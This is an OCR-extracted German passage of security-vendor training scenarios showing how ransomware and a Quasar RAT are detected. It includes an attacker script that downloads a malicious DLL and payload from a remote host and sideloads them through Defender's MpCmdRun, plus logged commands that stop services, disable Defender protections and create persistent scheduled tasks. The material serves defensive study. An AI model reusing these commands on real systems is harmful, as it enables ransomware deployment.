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Trainingsszenario — DLL-
Injektion

Gruppenname

Trainingsdaten - DIl Injection (Hive)

Szenario

In diesem Trainingsszenario fUhren wir eine verschlisselte Ransomware-Payload mittels DLL-
Injektion in einen signierten MS Defender aus. Es wurde eine benutzerdefinierte DLL erstellt, so wie
sie ein Angreifer erstellen wurde, die eine gefalschte .log-Datei entschlisselt und ausfuhrt.

Viele Sicherheitstools ignorieren schlicht Prozesse, die von einem signierten Ubergeordneten
Prozess gestartet wurden, insbesondere von einem signierten Antivirus-Prozess, und noch mehr,
wenn es sich um Defender handelt. Defender-Befehle sind nicht nur oft erlaubt, sondern auch
haufig extrem privilegiert. Hier wird der Befehl fir ein Signatur-Update bewaffnet - etwas, das nicht
nur Ublich ist, sondern auch bei jeglicher Art von Malware-Jagd ignoriert wlrde. Wir zeigen hier,
dass ein Angreifer selbst mit einfachem ,Living off the Land“-Handwerk privilegierte Payloads
ausfuhren kann, indem er ein einfaches Skript ohne benutzerdefinierte Injektionswerkzeuge auf
dem Rechner platziert.

Hier ist das genaue Skript, das auf dem Opferrechner ausgefuhrt wurde. Beachten Sie, dass nichts
explizit Bésartiges geschieht - das Kopieren der Defender-EXE(s) in ein Staging-Verzeichnis dient
lediglich dazu, die C:\staging -Dateien in der Ursachenanalyse hervorzuheben.

mkdir C:\staging

copy C:\Windows\WinSxS\amd64 windows-defender-

service 31bf3856ad364e35 10.0.19041.746 none a39f6d9ab59bd8b7\* C:\staging
move C:\staging\mpclient.dll C:\staging\realdll.dll; cd C:\staging

curl 169.254.247.102:8000/0x80004006.1log -outfile 0x80004006.log; curl
169.254.247.102:8000/mpclient.dll -outfile mpclient.dll

./MpCmdRun.exe -SignatureUpdate

Aufgeschlisselt Zeile fur Zeile:

1. Staging-Verzeichnis wird erstellt



2. Defender wird in das Staging-Verzeichnis kopiert

Die echte mpclient.dll wird umbenannt

4. Verschlusselte ,Log“-Datei und bosartige DLL werden von einem Remote-Server
heruntergeladen

5. Der echte, signierte MpCmdRun wird mit der Signatur-Update-Aufgabe ausgefihrt

w

¥ MpCmdRun.exe Properties * | W MpCmdRun.exe Properties x
General Compatibility Digital Signatures Security Details Previous Versions
Security Details Previous Versions General Compatibility Digital Signatures
Property Value Signature list
Description MName of signer: Digest algorithm Timestamp
File description  Microsoft Malware Protection Command ... IMicrosoft Windo .. sha2sh Tuesday. September ... |
Type Application

File: wersion 4.18.1909.6

Product name  Microsoft® Windows® Operating System
Product version  4.18.1309.6

2 Microsoft Corparation. All rights resery...

Copyright

Details
Size 457 KB
Date modfied  12/7/20159 1:08 AM
Language English (United States)
Original filename MpCmdRun.exe
BRemove Properties and Personal Information
Cancel Apply Cancel Apply
MpCmdRun.exe
Number of Incidents Machine Name Program Path Program Arguments
v \\DESKTOP-GISRBSE Ci\staging\{7374FC8E-2AF0-4EC5-A038-CBA3B30C5E94} *{7374FCBE-2AF0-4EC5-A038-CBA3830C5E94}"
Created Response Name Untrusted Remote Threads Modified Memory No Trusted Cert
October 18, 2022 at 6:45:16 PM EDT M ¥ 4 (£ Red Ringed False False True

Automated Response

Betrachtet man zunachst die automatisierte Reaktion, wirden bei Ilhnen sofort die Alarmglocken
[duten. Ein Prozess, der nie zuvor gesehen wurde, mit einem zufalligen GUID-Namen, wurde
ausgefuhrt und hat Cyber Crucible ausgeldst, dazu noch unsigniert. Beachten Sie jedoch, dass der
Pfad hier leicht etwas weniger beangstigend aussehen kdnnte. Er wurde absichtlich als C:\staging
belassen, um ihn hervorzuheben.



Der unmittelbar nachste Schritt ware, diese Datei zu finden und herauszufinden, wie sie dorthin
gelangt ist. Wahrscheinlich wurde sie automatisch geléscht, aber wir kdnnen uns die
Prozesserstellungen von Cyber Crucible ansehen, um zu sehen, wer sie urspringlich ausgefuhrt
hat.

Parent Path

CA\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Cistaging\MpCmdRun.exe

Ci\staging\{7374FCBE-2AF0-4EC5-A038-CBA3830C5E94}

Child Path

Cistaging\MpCmdRun.exe

Ci\staging\{7374FCBE-2AF0-4EC5-A038-CBA3E30C5E94)

CA\Windows\System32\conhost.exe

Child Arguments

"Cistaging\MpCmdRun.exe" -SignatureUpdate
"{7374FCBE-2AF0-4EC5-A038-CBA3830C5E94)"

VAC\Windows\system32\conhost.exe Ox4

Ci\staging\{7374FCBE-2AF0-4EC5-A038-CBA3B30C5E94} C:\Windows\System32\net.exe net.exe stop "LanmanWorkstation” fy

CA\Windows\System32\net.exe C:\Windows\System32\net1.exe C\Windows\system32\net1 stop "LanmanWorkstation" fy

Cihstaging\{7374FCBE-2AF0-4EC5-A038-CBA3830C5E94} CA\Windows\System32\net.exe net.exe stop "SamsSs” fy

C\Windows\System32\net.exe CA\Windows\System32\net 1.exe C\Windows\system32\net1 stop "SamSs" /y

Ci\staging\{7374FC8E-2AF0-4EC5-A038-CBA3830C5E94} CA\Windows\System32\net.exe net.exe stop "SDRSVC" fy

C\Windows\System32\net.exe C:\Windows\System32\net 1.exe C:\Windows\system32\net1 stop "SDRSVC" Jfy

Chstaging\{7374FCBE-2AF0-4EC5-A038-CBA3830C5E94) C\Windows\System32\net.exe net.exe stop "SstpSvc” fy

CA\Windows\System32\net.exe C\Windows\System32\net1.exe C\Windows\system32\net1 stop "SstpSvc” fy

CA\Windows\System32\services.exe

Ci\staging\{7374FCBE-2AF0-4EC5-A038-CBA3830C5E94}

CA\Windows\System32\net.exe

Ci\staging\(7374FC8E-2AF0-4EC5-A038-CBA3830C5E94}

CA\Windows\System32\net.exe

CA\Windows\System32\svchost.exe

CA\Windows\System32\net.exe

C:\Windows\System32\net 1.exe

C:\Windows\System32\net.exe

C\Windows\System32\net1.exe

C\Windows\System32\svchost.exe -k WerSvcGroup
net.exe stop "vmicvss' fy
C\Windows\system32\net1 stop "vmicvss" fy
net.exe stop "VSS" fy

Ch\Windows\system32\net1 stop "VS5" fy

Powershell » MpCmdRun - {7374F...}

Genau wie im obigen Szenario beschrieben, startete ein PowerShell-Skript eine Defender-
ausfuhrbare Datei, die wiederum unseren beangstigenden Prozess startete. Die Malware-Payload
I6ste anschlieBend zahlreiche untergeordnete Prozesse aus, um verschiedene Staging-Aufgaben
durchzufthren. Die Einsicht in diese Hintergrundprozesse liefert oft Erkenntnisse Uber auf dem
System erstellte Dateien, geanderte Registrierungsschlissel, Wurmaktivitaten usw.



Child Path = Child Arguments

Ch\Windows\System32\sc.exe sc.exe config "5amSs” start= disabled

Ch\Windows\5ystem32\sc.exe sc.exe config "SDRSWC" start= disabled

Ch\Windows\System32\sc.exe sc.exe config "SstpSwc" start= disabled

Ch\Windows\System32\sc.exe sc.exe config "vmicvss” start= disabled

C\Windows\System32\sc.exe sc.exe config "WS5" start= disabled

Ch\Windows\5ystem32\sc.exe sc.exe config "whengine” start= disabled

Ch\Windows\System32\sc.exe sc.exe config "WebClient" start= disabled

Ch\Windows\System32\sc.exe sc.exe config "UnistoreSve_99328" start= disabled

C:\Windows\System32\reg.exe reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
Ch\Windows\System32\reg.exe reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender” /f

Ch\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender” fv "DisableAntiSpyware" /t REG_DWORD /d "1" /f
Ch\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender” /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
Ch\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine” /v "MpEnablePus" /t REG_DWORD /d "0" /f

Otherwise ,,invisible behavior”

Zu diesem Zeitpunkt wurde der Angriff bereits von Cyber Crucible eingedammt, aber die Analyse
der zugehdrigen Prozesse ist wichtig, um den Umfang der bdsartigen Aktivitaten zu ermitteln. Die
AusflUhrung der unsignierten EXE allein wirkt offensichtlich, wenn sie von Cyber Crucible dargestellt
wird, aber haufig wirden Hintergrundprozesse, die von etwas so privilegiertem und geschutztem
wie Defender gestartet werden, schlicht ignoriert.

Relevante Dokumentation

e Mitre T1543 - Das Erstellen oder Modifizieren eines Systemprozesses kann bésartigen
Code als normalen, vertrauenswirdigen Systemprozess vor der Malware-Erkennung
tarnen.

e Mitre T1068 - Die Durchfihrung einer Rechteausweitung Uber Software-Schwachstellen
kann es bosartigem Code ermoglichen, Berechtigungsbeschrankungen oder virtualisierte
Umgebungen zu umgehen.

e Mitre T1055-001 - DLL-Injektion kann verwendet werden, um bdsartigen Code in einen

Prozess zu laden, indem der Zielprozess einfach angewiesen wird, eine neue DLL zu laden,
oder indem eine legitime DLL vor dem Laden ersetzt wird.

e Mitre T1059-001 - PowerShell wird von Windows-Malware haufig verwendet, um Malware-

Einrichtungen durchzuflUhren, wie etwa das Ersetzen legitimer Dateien durch bdésartige.


https://attack.mitre.org/techniques/T1543
https://attack.mitre.org/techniques/T1068
https://attack.mitre.org/techniques/T1055/001
https://attack.mitre.org/techniques/T1059/001

Trainingsszenario - Vanilla
Ransomware

Gruppenname

Trainingsdaten - Vanilla Ransomware (Hive)

Szenario

In diesem Trainingsszenario fUhren wir eine ,vanilla“ Ransomware-Payload aus, die als
Administrator 1auft, ohne jegliche Exploits. Dies simuliert das grundlegende Beispiel eines
Benutzers, der Malware Uber einen Phishing-Link, einen bdsartigen USB-Stick usw. herunterladt.

Auch wenn es sich hierbei um eine sehr einfache Ausfihrungsmethode handelt, bleibt sie - falls die
Payload ein Zero-Day ist - dennoch von signaturbasierten Sicherheitsprodukten unbemerkt und
kann irreparablen Schaden anrichten, bevor cloudbasierte Verhaltensanalyseprodukte eine Analyse
zurlckliefern kénnen.

Erkennung

Number of Incidents Machine Name Program Path Program Arguments

v 3 WCC-NOAH-TEST CA\Users\Administrator\Desktop\32 1d0cdf1bbb44c53cd02186107a18b7a... 321d0c4f1bbb44¢53cd02186107a18b7a44c840a%a50a7
Created Response Name Untrusted Remote Threads Modified Memory No Trusted Cert
October 18, 2022 at 11:27:20 AM EDT n |- ‘ rd Spectacled-Bear Pearly-E False False True
October 18, 2022 at 11:27:22 AM EDT n \‘ L | # Petunia Wisteria Rail 829 False False True
October 18, 2022 at 11:27:14 AM EDT n f o) £ Topi Safety-orange Alysst False False True

Automated Response

Die Identifizierung dieses Vorfalls ist die einfachste unter allen Beispielen. Sobald der verdachtige
Dateiname einer Datei ohne Signatur bemerkt wurde, ist dies ein unmittelbares Warnsignal.

Um die Ausfuhrungsmethode zu bestatigen, kdnnen wir die Prozesserstellungen um den Zeitpunkt
des Vorfalls betrachten. Was wir sehen, bestatigt, dass es keine komplexe Exploit-Methode gab,
nicht einmal ein Skript! Wie auch bei anderen Beispielen sind jedoch die untergeordneten
Prozesserstellungen von Interesse. Obwohl die AusfUhrungsmethode der Malware selbst



offensichtlich war, werden viele Hintergrundprozesse gestartet, die Schutzmafnahmen und andere
Systemeinstellungen deaktivieren.

Child Path

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CA\Windows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

Child Arguments

net.exe stop "LanmanWorkstation" fy
Ch\Windows\system32\net1 stop "LanmanWorkstation" fy
net.exe stop "MsDtsServer130” fy

CA\Windows\system32\net1 stop "MsDisServer130” fy

net.exe stop "MSSQLSMSSQLSERVERO1" fy
Ch\Windows\system32\net1 stop "MSSQLSMSSQLSERVERD1" fy
net.exe stop "MS5QLSERVER" /fy

CA\Windows\system32\net1 stop "M5SSQLSERVER" fy

net.exe stop "sacsvr" fy

CA\Windows\system32\net1 stop "sacswvr” fy

net.exe stop "SamSs” fy

Ch\Windows\system32\net1 stop "Sam5Ss" fy

net.exe stop "SQLAgentSMSSQLSERVERD1" fy
CA\Windows\system32\net1 stop "SQLAgentSMSSQLSERVEROT" fy
net.exe stop "SQLBrowser” fy

Ch\Windows\system32\net1 stop "SQLBrowser" fy

net.exe stop "SQLSERVERAGENT" fy

CA\Windows\system32\net1 stop "SQLSERVERAGENT" fy
net.exe stop "SQLTELEMETRYSMSSQLSERVERO1" fy

CiWindows\system32\net1 stop "SQLTELEMETRYSMSSQLSERVEROD1" fy



Child Path Child Arguments

C\Windows\System32\sc.exe sc.exe config "SQLWriter" start= disabled

C\Windows\System32\sc.exe scexe config "SstpSvc” start= disabled

C\Windows\System32\sc.exe sc.exe config "vmicvss" start= disabled

C\Windows\System32\sc.exe scexe config "V55" start= disabled

C\Windows\System32\sc.exe sc.exe config "WRSWVC" start= disabled

C:\Windows\System32\sc.exe scexe config "UnistoreSwe_1a55fcc” start= disabled

Ch\Windows\System32\reg.exe reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
C\Windows\System32\reg.exe reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

Ch\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender” /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender” /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableBehaviorMonitoring” /...
C:\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisablelOAVProtection” /t RE...
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableOnAccessProtection” /...
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableRealtimeMonitoring” /...
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableScanOnRealtimeEnable...

An diesem Punkt wurde der Angriff bereits von Cyber Crucible eingeddmmt, aber die Analyse der
zugehorigen Prozesse ist wichtig, um das Ausmals der bdsartigen Verhaltensweisen zu ermitteln.
Die Ausfuhrung der unsignierten .exe-Datei allein erscheint offensichtlich, wenn sie von Cyber
Crucible aufgezeigt wird, aber oft wirden Hintergrundprozesse, die von etwas so Privilegiertem und
Geschutztem wie Defender gestartet werden, einfach ignoriert werden.

Relevante Dokumentation

e Mitre T1566 - Phishing kann verwendet werden, um einen Benutzer dazu zu bringen, eine
Aktion auszufiihren, die er sonst nicht durchgefuhrt hatte, wie z. B. das Ausflhren eines
Skripts oder das Weitergeben eines Passworts.

e Mitre T1091 - Malware kann sich selbst auf Wechselmedien replizieren, sodass der
nachste Computer, an den diese angeschlossen wird, sie Uber Autorun oder
Treiberschwachstellen ausfihren kann.

e Mitre T1204 - Die Benutzerausfuhrung, die oft durch Phishing erlangt wird, ist die
einfachste Methode, mit der Malware zu laufen beginnen kann.


https://attack.mitre.org/techniques/T1566
https://attack.mitre.org/techniques/T1091
https://attack.mitre.org/techniques/T1204

Trainingsszenario - Signierte
Ransomware

Gruppenname

Trainingsdaten - Signierte Ransomware (Hive)

Szenario

In diesem Trainingsszenario fUhren wir eine Ransomware-Payload aus, die als Administrator lauft
und eine benutzerdefinierte Signatur verwendet. Dieses Szenario unterscheidet sich nicht
sonderlich vom ,Standard“-Beispiel, verwendet jedoch eine signierte ausfihrbare Datei.

Oft werden signierte ausfihrbare Dateien so behandelt, als sei bestatigt, dass sie harmlos sind.
Zwar sollte zertifizierte Software eigentlich immer signiert sein, doch handelt es sich dabei nicht
um eine bidirektionale Beziehung, und wir sollten Dingen nicht allein deshalb vertrauen, weil sie
signiert sind. Leider unterlauft dieser Fehler manchmal doch.

Erkennung

Certificate Publisher Names X

WDKTestCert Noah,132815634927651447

Abgesehen davon, dass dieser Zertifikatsname flr Trainingszwecke etwas seltsam ist, wie erkennt
Cyber Crucible, dass er nicht vertrauenswurdig ist? Cyber Crucible geht auf Nummer sicher und
fuhrt eine (gruppenspezifische) Liste vertrauenswurdiger Zertifikate. Dadurch kénnen wir sowohl
Test-Signaturzertifikate als auch offizielle Zertifikate groBer Zertifizierungsstellen wie DigiCert
problemlos erkennen.



Number of Incidents Machine Name Program Path Program Arguments

v o1 WCC-NOAH-TEST CA\Users\Administrator\Desktop\32 1d0c4f1bbb44c53cd02186107a18b7a...
Created Response Name Untrusted Remote Threads Modified Memory No Trusted Cert
October 18, 2022 at 1:51:54 PM EDT ﬂ . ) L’ Worm Geum Indigo 180 False False True

Wie oben zu sehen ist, ist die Datei ,321d0...“ zwar signiert, aber dennoch nicht vertrauenswardig.
Da keine weiteren komplexen Verschleierungstechniken zur Verbreitung des Angriffs verwendet
wurden, wissen wir genau, woher er stammt!

Um die Ausfihrungsmethode zu bestatigen, kbnnen wir uns die Prozesserstellungen im Zeitraum
des Vorfalls ansehen. Was wir sehen, bestatigt, dass es keine komplexe Exploit-Methode gab, nicht
einmal ein Skript! Wie bei anderen Beispielen sind jedoch die Erstellungen von Kindprozessen
interessant. Obwohl die Ausfihrungsmethode der Schadsoftware selbst offensichtlich war, werden
viele Hintergrundprozesse gestartet, die SchutzmafBnahmen und andere Systemeinstellungen
deaktivieren.



Child Path

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

Child Arguments

net.exe stop "LanmanWorkstation” /y
CW\Windows\system32\net1 stop "LanmanWorkstation” fy
net.exe stop "MsDtsServer130" fy

CA\Windows\system32\net1 stop "MsDisServer130” fy

net.exe stop "MS5QLSMSSQLSERVERO1" fy
Ch\Windows\system32\net1 stop "MSSQLSMSSQLSERVERD1" fy
net.exe stop "MSSQLSERVER" fy

CAWindows\system32\net1 stop "MSSQLSERVER" fy

net.exe stop "sacsvr” fy

Ch\Windows\system32\net1 stop "sacsvr” fy

net.exe stop "SamSs" fy

CA\Windows\system32\net1 stop "SamSs" fy

net.exe stop "SQLAgentSMSSQLSERVERDT" fy
Ch\Windows\system32\net1 stop "SQLAgentSMSSQLSERVEROT" fy
net.exe stop "SQLBrowser" fy

CAWindows\system32\net1 stop "SQLBrowser" fy

net.exe stop "SQLSERVERAGENT" fy

Ch\Windowshsystem32\net1 stop "SQLSERVERAGENT" fy

net.exe stop "SQLTELEMETRYSMSSQLSERVERD 1" fy

CA\Windows\system32\net1 stop "SQLTELEMETRYSMSSQLSERVERO 1" fy



Child Path

C\Windows\System32\sc.exe

C\Windows\System32\sc.exe

C\Windows\System32\sc.exe

C\Windows\System32\sc.exe

C\Windows\System32\sc.exe

C:\Windows\System32\sc.exe

Ch\Windows\System32\reg.exe

C\Windows\System32\reg.exe

Ch\Windows\System32\reg.exe

C\Windows\System32\reg.exe

C\Windows\System32\reg.exe

C\Windows\System32\reg.exe

C:\Windows\System32\reg.exe

C\Windows\System32\reg.exe

C\Windows\System32\reg.exe

C\Windows\System32\reg.exe

Child Arguments

sc.exe config

sc.exe config

sc.exe config

sc.exe config

sc.exe config

sc.exe config

reg.exe add "

"SQLWriter" start= disabled

"SstpSvc” start= disabled

"vmicvss" start= disabled

"\55" start= disabled

"WRSVC" start= disabled

"UnistoreSve_1a55fcc” start= disabled

HELM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

reg.exe add "

reg.exe add

reg.exe add

reg.exe add

reg.exe add

reg.exe add

reg.exe add

reg.exe add

HELM\Software\Policies\Microsoft\Windows Defender” /v "DisablefintiSpyware” /t REG_DWORD /d "1" /f

"HELM\Software\Policies\Microsoft\Windows Defender" fv "DisableAntiVirus" /t REG_DWORD /jd "1" f

"HKLM\SoftwareyPolicies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus” /t REG_DWORD /d "0" /f

"HKLM\SoftwarelPolicies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableBehaviorMonitoring” /...

"HKLM\SoftwarelPolicies\Microsoft\Windows Defender\Real-Time Protection” /v "DisablelOAVProtection” /t RE...

"HELM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableOnAccessProtection” /...

"HELM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableRealtimeMonitoring” /...

"HELM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableScanOnRealtimeEnable...

An diesem Punkt wurde der Angriff bereits von Cyber Crucible eingeddmmt, doch die Analyse der
zugehorigen Prozesse ist wichtig, um den Umfang der bdsartigen Verhaltensweisen zu ermitteln.
Die Ausfuhrung der unsignierten EXE-Datei allein wirkt offensichtlich, wenn sie von Cyber Crucible
dargestellt wird, aber oft wirden Hintergrundprozesse, die von etwas so privilegiertem und
geschltztem wie Defender gestartet werden, einfach ignoriert werden.

Relevante Dokumentation

e Mitre T1566 - Phishing kann verwendet werden, um einen Benutzer dazu zu bringen, eine

Handlung auszufthren, die er sonst nicht ausgefthrt hatte, wie z. B. das Ausfihren eines
Skripts oder das Weitergeben eines Passworts.

e Mitre T1091 - Schadsoftware kann sich selbst auf Wechselmedien replizieren, sodass sie

beim Anschliefen an den nachsten Rechner Uber Autorun oder Treiber-Schwachstellen
ausgefuhrt werden kann.

e Mitre T1204 - Benutzerausfuhrung, die haufig durch Phishing erlangt wird, ist der

einfachste Weg fur Schadsoftware, mit der Ausfihrung zu beginnen.

e Mitre T1587-002 - Code-Signaturzertifikate sind eine Mdglichkeit fur eine Autoritat, den

Code einer Anwendung zu zertifizieren. Schadsoftware kann ein Zertifikat erzeugen, das
von keiner Zertifizierungsstelle stammt, aber einen Benutzer glauben lassen, es sei


https://attack.mitre.org/techniques/T1566
https://attack.mitre.org/techniques/T1091
https://attack.mitre.org/techniques/T1204
https://attack.mitre.org/techniques/T1587/002

legitim.

e Mitre T1587-003 - SSL-Zertifikate werden verwendet, um sicherzustellen, dass die

DatenUbertragung vertrauenswurdig ist. In einer schlecht konfigurierten Umgebung kann
Schadsoftware in der Lage sein, ihr eigenes SSL-Zertifikat zu installieren, um Man-in-the-
Middle-Angriffe zu ermoglichen.


https://attack.mitre.org/techniques/T1587/003

Trainingsszenario —
Datenenumeration

Gruppenname

Trainingsdaten - RAT-Exfiltration (Quasar)

Szenario

In diesem Trainingsszenario fUhren wir einen RAT auf der Opfermaschine aus und nutzen ihn, um
die Daten auf der Festplatte zu enumerieren, mit dem Ziel, Dateien zu exfiltrieren.

Auch wenn es sich hierbei nicht um einen Ransomware-Angriff handelt, fallen die vom RAT
verwendeten Verhaltensweisen unter die Kategorie der Datenerpressungsverhalten, die Cyber
Crucible erkennt. Die Reaktion auf den Vorfall und die zugehdrigen Daten sehen der Reaktion auf
eine Ransomware-Payload sehr dhnlich, denn fur Cyber Crucible ist das alles dasselbe!

Erkennung

Number of Incidents Machine Name Program Path Program Arguments
v 4 \WDESKTOP-GISR8SE CAWindows\System324SubDir\Client.exe
Created Response Name Untrusted Remote Threads Modified Memory No Trusted Cert
October 18, 2022 at 9:36:01 PM EDT n ‘. ‘ # Polka-Dot-Plant Ferret Plum 868 False False True
October 18, 2022 at 9:38:54 PM EDT n ‘. ‘ ra Pearly-Everlasting Black-Footed-Rhino Aspar: False False True
October 18, 2022 at 9:39:03 PM EDT n ‘. ‘ rd Navy-Blue Sweet-Pea Ragdoll 542 False False True
October 18, 2022 at 9:39:07 PM EDT n ‘. * rd ‘Wildcat School-bus-yellow Balsam 541 False False True

Diese ausfuhrbare Datei sieht etwas eigenartig aus, befindet sich aber in system32 und I6st
wiederholte Reaktionen aus. Es sind weitere Untersuchungen erforderlich, um herauszufinden, was
hier passiert ist. Wir kbnnen damit beginnen, nach untergeordneten Pfaden zu suchen, die mit dem
Reaktionspfad in Zusammenhang stehen.



Parent Path Parent Arguments Child Path ¥

C\Windows\explorer.exe C:\Windows\Explorer.EXE ChUsers\user\Desktop\Client-built.exe

C\Windows\System32\svchost.exe C\Windows\system32\svchost.exe -k netsves -p -s Appinfo Ch\Users\user\Desktop\Client-built.exe

C:\Users\user\Desktop\Client-built.exe "Ch\Users\user\Desktop\Client-built.exe" Ch\Windows\System32\5ubDir\Client.exe

Hier erhalten wir weitere Hinweise zur Geschichte. Ein Benutzer hat client-build.exe vom Desktop
aus ausgefuhrt, bei dem es sich um den RAT-Dropper handelt. AnschlieBend scheint eine
Privilegienerweiterung Uber einen svchost stattzufinden. Es fehlen jedoch noch einige Teile des
Puzzles. Woher wissen wir, dass es sich um einen RAT handelt und nicht nur um etwas, das mit

svchost interagiert?

Parent Path

C:\Windows\explorer.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
CA\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
C\Users\user\DesktopClient-built.exe
C:A\Windows\System32\schtasks.exe
C:\Users\user\Desktop\Client-built.exe

CA\Windows\System32\SubDir\Client.exe

Parent Arguments

C:\Windows\Explorer.EXE

C\Windows\system32\svchost.exe -k DcomLaunch -p

C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TabletInputService
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TabletInputService

C:\Windows\system32\svchost.exe -k netsves -p -s Appinfo

"C:\Users\user\Desktop\Client-built.exe"

"schtasks” /create /tn "Quasar Client Startup” /sc ONLOGON /tr "C:\Users\user\Desktop\Client-built.exe” /rl HIGHEST /f

"C:\Users\user\Desktop\Client-built.exe”

"C:\Windows\system32\SubDir\Client.exe"

Child Path

CA\Users\user\Desktop\Client-built.exe
CAWindows\SysWOWe4\dllhost.exe
CAWindows\System32\consent.exe

CAWindows\System32\audiodg.exe

C\Program Files\Common Files\microsoft shared\ink\Tab

C\Program Files\Common Files\microsoft shared\ink\Tab

CA\Users\user\Desktop\Client-built.exe
CAWindows\System32\schtasks.exe
CAWindows\System32\conhost.exe
CAWindows\System32\SubDir\Client.exe

CAWindows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe "schtasks" /create /tn "Quasar Client Startup” /sc ONLOGON /tr "C:\Windows\system32\SubDir\Client.exe” /rl HIGHEST /f CAWindows\System32\conhost.exe

Dies eroffnet eine ganze Menge mehr an Transparenz! Wir wissen nun nicht nur mit Sicherheit,
dass verdachtige Aktivitaten im Gange sind und welche Pfade damit zusammenhangen, sondern
auch, dass Persistenz erzeugt wird. Und wir sehen sogar, dass wir es mit Quasar zu tun haben,
einem bekannten RAT.

Quasar ist ein hochentwickelter RAT und fuhrt die meisten seiner Verhaltensweisen innerhalb
seiner eigenen ausfuhrbaren Datei aus, wobei er flr viele Zwecke lieber seine eigenen statisch
kompilierten Bibliotheken mitbringt, anstatt die Standardwerkzeuge von Windows zu verwenden.
Aber selbst Quasar wird erwischt, wenn er Dinge wie schtasks verwendet.

Relevante Dokumentation

e Mitre T1566 - Phishing kann verwendet werden, um einen Benutzer dazu zu bringen, eine
Aktion auszuflihren, die er sonst nicht durchgefihrt hatte, wie z. B. das Ausfuhren eines
Skripts oder das Weitergeben eines Passworts.

e Mitre T1091 - Malware kann sich selbst auf Wechseldatentrager replizieren, sodass der

nachste Rechner, an den dieser angeschlossen wird, sie tGber Autorun oder Treiber-
Schwachstellen ausfuhren kann.


https://attack.mitre.org/techniques/T1566
https://attack.mitre.org/techniques/T1091

Mitre T1204 - Benutzerausflihrung, oft durch Phishing erreicht, ist der einfachste Weg flr
Malware, mit der Ausfihrung zu beginnen.

Mitre T1547 - Malware kann Windows anweisen, bdsartige Programme beim Booten oder
bei der Benutzeranmeldung auszufihren.

Mitre T1037 - Malware kann Windows anweisen, bdsartige Skripte beim Booten oder bei
der Benutzeranmeldung auszufuhren.

Mitre T1543 - Das Erstellen oder Verandern eines Systemprozesses kann bdsartigen Code
als normalen, vertrauenswulrdigen Systemprozess vor der Malware-Erkennung tarnen.


https://attack.mitre.org/techniques/T1204
https://attack.mitre.org/techniques/T1547
https://attack.mitre.org/techniques/T1037
https://attack.mitre.org/techniques/T1543

Trainingsszenario -
Prozessinjektion

Gruppenname

Trainingsdaten - Prozessinjektion (Hive)

Szenario

In diesem Trainingsszenario fUhren wir eine Ransomware-Payload mittels Prozessinjektion in einen
bereits laufenden Svchost.exe-Prozess aus. Der betreffende Svchost ist ein normaler
Systemvorgang, lauft seit langerem, ist signiert und wird unter dem LocalSystem-Benutzerkonto
ausgefuhrt.

Da der Svchost ,,echt” ist, wird er oft Ubersehen. Administratoren wissen, dass viele Instanzen von
